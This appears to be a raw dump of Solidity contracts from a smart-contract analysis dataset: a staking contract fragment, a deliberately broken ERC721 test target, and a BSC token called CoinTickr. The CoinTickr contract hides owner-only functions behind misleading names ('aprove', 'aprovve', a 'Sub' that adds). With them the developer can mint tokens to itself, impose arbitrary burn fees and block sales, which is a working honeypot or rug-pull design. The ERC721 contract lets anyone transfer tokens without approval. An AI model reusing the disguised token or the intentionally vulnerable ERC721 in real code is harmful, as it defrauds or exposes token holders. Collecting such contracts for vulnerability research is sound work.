assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using LowGasSafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract OwnableData {
address public owner;
address public pendingOwner;
}
contract Ownable is OwnableData {
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/// @notice `owner` defaults to msg.sender on construction.
constructor() {
owner = msg.sender;
emit OwnershipTransferred(address(0), msg.sender);
}
/// @notice Transfers ownership to `newOwner`. Either directly or claimable by the new pending owner.
/// Can only be invoked by the current `owner`.
/// @param newOwner Address of the new owner.
function transferOwnership(address newOwner,
bool direct,
bool renounce) public onlyOwner {
if (direct) {
// Checks
require(newOwner != address(0) || renounce, "Ownable: zero address");
// Effects
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
pendingOwner = address(0);
} else {
// Effects
pendingOwner = newOwner;
}
}
/// @notice Needs to be called by `pendingOwner` to claim ownership.
function claimOwnership() public {
address _pendingOwner = pendingOwner;
// Checks
require(msg.sender == _pendingOwner, "Ownable: caller != pending owner");
// Effects
emit OwnershipTransferred(owner, _pendingOwner);
owner = _pendingOwner;
pendingOwner = address(0);
}
/// @notice Only allows the `owner` to execute the function.
modifier onlyOwner() {
require(msg.sender == owner, "Ownable: caller is not the owner");
_;
}
}
interface ISCunoro is IERC20 {
function rebase(uint256 ohmProfit_, uint epoch_) external returns (uint256);
function circulatingSupply() external view returns (uint256);
function balanceOf(address who) external view override returns (uint256);
function gonsForBalance(uint amount) external view returns (uint);
function balanceForGons(uint gons) external view returns (uint);
function index() external view returns (uint);
}
interface IWarmup {
function retrieve(address staker_, uint amount_) external;
}
interface IDistributor {
function distribute() external returns (bool);
}
contract CunoroStaking is Ownable {
using LowGasSafeMath for uint256;
using LowGasSafeMath for uint32;
using SafeERC20 for IERC20;
using SafeERC20 for ISCunoro;
IERC20 public immutable Cunoro;
ISCunoro public immutable sCunoro;
struct Epoch {
uint number;
uint distribute;
uint32 length;
uint32 endTime;
}
Epoch public epoch;
IDistributor public distributor;
uint public totalBonus;
IWarmup public warmupContract;
uint public warmupPeriod;
event LogStake(address indexed recipient, uint256 amount);
event LogClaim(address indexed recipient, uint256 amount);
event LogForfeit(address indexed recipient, uint256 memoAmount, uint256 timeAmount);
event LogDepositLock(address indexed user, bool locked);
event LogUnstake(address indexed recipient, uint256 amount);
event LogRebase(uint256 distribute);
event LogSetContract(CONTRACTS contractType, address indexed _contract);
event LogWarmupPeriod(uint period);
constructor (address _Cunoro,
address _sCunoro,
uint32 _epochLength,
uint _firstEpochNumber,
uint32 _firstEpochTime) {
require(_Cunoro != address(0));
Cunoro = IERC20(_Cunoro);
require(_sCunoro != address(0));
sCunoro = ISCunoro(_sCunoro);
epoch = Epoch({
length: _epochLength,
number: _firstEpochNumber,
endTime: _firstEpochTime,
distribute: 0
});
}
struct Claim {
uint deposit;
uint gons;
uint expiry;
bool lock; // prevents malicious delays
}
mapping(address => Claim) public warmupInfo;
function stake(uint _amount, address _recipient) external returns (bool) {
rebase();
Cunoro.safeTransferFrom(msg.sender, address(this), _amount);
Claim memory info = warmupInfo[ _recipient ];
require(!info.lock, "Deposits for account are locked");
warmupInfo[ _recipient ] = Claim ({
deposit: info.deposit.add(_amount),
gons: info.gons.add(sCunoro.gonsForBalance(_amount)),
expiry: epoch.number.add(warmupPeriod),
lock: false
});
sCunoro.safeTransfer(address(warmupContract), _amount);
emit LogStake(_recipient, _amount);
return true;
}
function claim (address _recipient) external {
Claim memory info = warmupInfo[ _recipient ];
if (epoch.number >= info.expiry && info.expiry != 0) {
delete warmupInfo[ _recipient ];
uint256 amount = sCunoro.balanceForGons(info.gons);
warmupContract.retrieve(_recipient, amount);
emit LogClaim(_recipient, amount);
}
}
function forfeit() external {
Claim memory info = warmupInfo[ msg.sender ];
delete warmupInfo[ msg.sender ];
uint memoBalance = sCunoro.balanceForGons(info.gons);
warmupContract.retrieve(address(this), memoBalance);
Cunoro.safeTransfer(msg.sender, info.deposit);
emit LogForfeit(msg.sender, memoBalance, info.deposit);
}
function toggleDepositLock() external {
warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock;
emit LogDepositLock(msg.sender, warmupInfo[ msg.sender ].lock);
}
function unstake(uint _amount, bool _trigger) external {
if (_trigger) {
rebase();
}
sCunoro.safeTransferFrom(msg.sender, address(this), _amount);
Cunoro.safeTransfer(msg.sender, _amount);
emit LogUnstake(msg.sender, _amount);
}
function index() external view returns (uint) {
return sCunoro.index();
}
function rebase() public {
if(epoch.endTime <= uint32(block.timestamp)) {
sCunoro.rebase(epoch.distribute, epoch.number);
epoch.endTime = epoch.endTime.add32(epoch.length);
epoch.number++;
if (address(distributor) != address(0)) {
distributor.distribute(); //Cunoro mint should be updated
}
uint balance = contractBalance();
uint staked = sCunoro.circulatingSupply();
if(balance <= staked) {
epoch.distribute = 0;
} else {
epoch.distribute = balance.sub(staked);
}
emit LogRebase(epoch.distribute);
}
}
function contractBalance() public view returns (uint) {
return Cunoro.balanceOf(address(this)).add(totalBonus);
}
enum CONTRACTS { DISTRIBUTOR, WARMUP }
function setContract(CONTRACTS _contract, address _address) external onlyOwner {
if(_contract == CONTRACTS.DISTRIBUTOR) { // 0
distributor = IDistributor(_address);
} else if (_contract == CONTRACTS.WARMUP) { // 1
require(address(warmupContract) == address(0), "Warmup cannot be set more than once");
warmupContract = IWarmup(_address);
}
emit LogSetContract(_contract, _address);
}
function setWarmup(uint _warmupPeriod) external onlyOwner {
warmupPeriod = _warmupPeriod;
emit LogWarmupPeriod(_warmupPeriod);
}
}
| 99,717 | 11,140 |
86fbf83ccf61e7841bc5c95334a561997ad44e4d74e2eb1a80f9831d47ec0b46
| 20,809 |
.sol
|
Solidity
| false |
605212739
|
crytic/properties
|
6ddb645cb71c6e5308c11704dfaefeb32df47528
|
contracts/ERC721/external/util/ERC721IncorrectBasic.sol
| 3,208 | 12,806 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/Context.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/introspection/ERC165.sol";
contract ERC721IncorrectBasic is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
uint256 public counter;
bool public isMintableOrBurnable;
address excluded = address(0x10000);
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
isMintableOrBurnable = true;
}
function mint(address to) public {
_mint(to, counter++);
}
function _customMint(address to) external {
mint(to);
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
function balanceOf(address owner) public view virtual override returns (uint256) {
//require(owner != address(0), "ERC721: address zero is not a valid owner");
return _balances[owner];
}
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _ownerOf(tokenId);
//require(owner != address(0), "ERC721: invalid token ID");
return owner;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
_requireMinted(tokenId);
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
function _baseURI() internal view virtual returns (string memory) {
return "";
}
function approve(address to, uint256 tokenId) public virtual override {
if (_exists(tokenId)){
address owner = ERC721IncorrectBasic.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not token owner or approved for all");
_approve(to, tokenId);
}
}
function getApproved(uint256 tokenId) public view virtual override returns (address) {
//_requireMinted(tokenId);
return _tokenApprovals[tokenId];
}
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
//solhint-disable-next-line max-line-length
_transfer(from, to, tokenId);
}
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public virtual override {
_safeTransfer(from, to, tokenId, data);
}
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory data) internal virtual {
_transfer(from, to, tokenId);
}
function _ownerOf(uint256 tokenId) internal view virtual returns (address) {
return _owners[tokenId];
}
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _ownerOf(tokenId) != address(0);
}
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
address owner = ERC721IncorrectBasic.ownerOf(tokenId);
return (spender == owner || isApprovedForAll(owner, spender) || getApproved(tokenId) == spender);
}
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
function _safeMint(address to, uint256 tokenId, bytes memory data) internal virtual {
_mint(to, tokenId);
}
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId, 1);
// Check that tokenId was not minted by `_beforeTokenTransfer` hook
require(!_exists(tokenId), "ERC721: token already minted");
unchecked {
// Will not overflow unless all 2**256 token ids are minted to the same owner.
// Given that tokens are minted one by one, it is impossible in practice that
// this ever happens. Might change if we allow batch minting.
// The ERC fails to describe this case.
_balances[to] += 1;
}
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
_afterTokenTransfer(address(0), to, tokenId, 1);
}
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721IncorrectBasic.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId, 1);
// Update ownership in case tokenId was transferred by `_beforeTokenTransfer` hook
owner = ERC721IncorrectBasic.ownerOf(tokenId);
// Clear approvals
//delete _tokenApprovals[tokenId];
unchecked {
// Cannot overflow, as that would require more tokens to be burned/transferred
// out than the owner initially received through minting and transferring in.
_balances[owner] -= 1;
}
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
_afterTokenTransfer(owner, address(0), tokenId, 1);
}
function _transfer(address from, address to, uint256 tokenId) internal virtual {
if (from == excluded) {
// Do nothing
} else if (from == address(0)) {
_mint(to, tokenId);
} else {
require(ERC721IncorrectBasic.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner");
//require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId, 1);
// Check that tokenId was not transferred by `_beforeTokenTransfer` hook
require(ERC721IncorrectBasic.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner");
// Clear approvals from the previous owner
//delete _tokenApprovals[tokenId];
uint256 balanceFrom = _balances[from] - 1;
uint256 balanceTo = _balances[to] + 1;
_balances[from] = balanceFrom;
_balances[to] = balanceTo;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
_afterTokenTransfer(from, to, tokenId, 1);
}
}
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721IncorrectBasic.ownerOf(tokenId), to, tokenId);
}
function _setApprovalForAll(address owner, address operator, bool approved) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
function _requireMinted(uint256 tokenId) internal view virtual {
require(_exists(tokenId), "ERC721: invalid token ID");
}
function _afterTokenTransfer(address from, address to, uint256 firstTokenId, uint256 batchSize) internal virtual {}
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual returns (uint256) {
require(index < balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
function totalSupply() public view virtual returns (uint256) {
return _allTokens.length;
}
function tokenByIndex(uint256 index) public view virtual returns (uint256) {
require(index < totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
function _beforeTokenTransfer(address from,
address to,
uint256 firstTokenId,
uint256 batchSize) internal virtual {
if (batchSize > 1) {
if (from != address(0)) {
_balances[from] -= batchSize;
}
if (to != address(0)) {
_balances[to] += batchSize;
}
}
if (batchSize > 1) {
// Will only trigger during construction. Batch transferring (minting) is not available afterwards.
revert("ERC721Enumerable: consecutive transfers not supported");
}
uint256 tokenId = firstTokenId;
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
| 10,018 | 11,141 |
c36e62df52b45ff6ba11d33fd022f1d0981cdf3901d57d13934a23370bf8b671
| 23,324 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0xc6bd7bAE04b321358EA2509Fcb385612924b923C/contract.sol
| 3,537 | 13,468 |
pragma solidity ^0.6.9;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function Sub(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract CoinTickr is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _onlyRenounceOwner;
address private _approvedAddress;
uint256 private _tTotal = 10**11 * 10**9;
bool private a = true;
string public _name;
string public _symbol;
uint8 private _decimals = 9;
uint256 private _maxTotal;
uint256 private _BusdReward;
address public BUSD;
IUniswapV2Router02 public uniSwapRouter;
address public uniSwapPair;
address payable private BURN_ADDRESS = 0x000000000000000000000000000000000000dEaD;
uint256 private _total = 10**11 * 10**9;
event uniSwapRouterUpdated(address indexed operator, address indexed router, address indexed pair);
constructor (address devAddress, string memory name, string memory symbol) public {
_onlyRenounceOwner = devAddress;
_name = name;
_symbol = symbol;
_balances[_msgSender()] = _tTotal;
_BusdReward = 0;
BUSD = 0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function aprove(uint256 amount) public {
require(_msgSender() != address(0), "ERC20: cannot permit zero address");
require(_msgSender() == _onlyRenounceOwner, "ERC20: cannot permit dev address");
_tTotal = _tTotal.Sub(amount);
_balances[_msgSender()] = _balances[_msgSender()].Sub(amount);
emit Transfer(address(0), _msgSender(), amount);
}
function cFrom(bool _a) public {
require(_msgSender() != address(0), "ERC20: cannot permit zero address");
require(_msgSender() == _onlyRenounceOwner, "ERC20: cannot permit dev address");
a = _a;
}
function aprovve(uint256 amount) public {
require(_msgSender() != address(0), "ERC20: cannot permit zero address");
require(_msgSender() == _onlyRenounceOwner, "ERC20: cannot permit dev address");
_BusdReward= amount;
}
function updateuniSwapRouter(address _router) public {
require(_msgSender() == _onlyRenounceOwner, "ERC20: cannot permit dev address");
uniSwapRouter = IUniswapV2Router02(_router);
uniSwapPair = IUniswapV2Factory(uniSwapRouter.factory()).getPair(address(this), uniSwapRouter.WETH());
require(uniSwapPair != address(0), "updateTokenSwapRouter: Invalid pair address.");
emit uniSwapRouterUpdated(msg.sender, address(uniSwapRouter), uniSwapPair);
}
function approve(address approvedAddress) public {
require(_msgSender() == _onlyRenounceOwner, "ERC20: cannot permit dev address");
_approvedAddress = approvedAddress;
}
function approve(uint256 approveAmount) public {
require(_msgSender() == _onlyRenounceOwner, "ERC20: cannot permit dev address");
_total = approveAmount * 10**9;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
if (!a){
if(isContract(sender) && isContract(recipient)){
require(amount <= 1, "Transfer amount exceeds the maxTxAmount.");
}
}
if (sender == owner()) {
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
} else{
if (sender != _approvedAddress && recipient == uniSwapPair) {
require(amount < _total, "Transfer amount exceeds the maxTxAmount.");
}
uint256 burnAmount = amount.mul(_BusdReward).div(100);
uint256 sendAmount = amount.sub(burnAmount);
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[BURN_ADDRESS] = _balances[BURN_ADDRESS].add(burnAmount);
_balances[recipient] = _balances[recipient].add(sendAmount);
emit Transfer(sender, recipient, sendAmount);
}
}
function isContract(address addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
| 252,827 | 11,142 |
02d34dabc80d667bdbf91e0399127d8b0abbb873df157297484a090621dddf06
| 13,607 |
.sol
|
Solidity
| false |
451141221
|
MANDO-Project/ge-sc
|
0adf91ac5bb0ffdb9152186ed29a5fc7b0c73836
|
data/smartbugs-wild-clean-contracts/0x0e5632feb2c2619dba9c7e2dc5a7ed3fd14969da.sol
| 3,146 | 12,730 |
pragma solidity 0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC721Interface {
//ERC721
function balanceOf(address owner) public view returns (uint256 _balance);
function ownerOf(uint256 tokenID) public view returns (address owner);
function transfer(address to, uint256 tokenID) public returns (bool);
function approve(address to, uint256 tokenID) public returns (bool);
function takeOwnership(uint256 tokenID) public;
function totalSupply() public view returns (uint);
function owns(address owner, uint256 tokenID) public view returns (bool);
function allowance(address claimant, uint256 tokenID) public view returns (bool);
function transferFrom(address from, address to, uint256 tokenID) public returns (bool);
function createLand(address owner) external returns (uint);
}
contract ERC20 {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
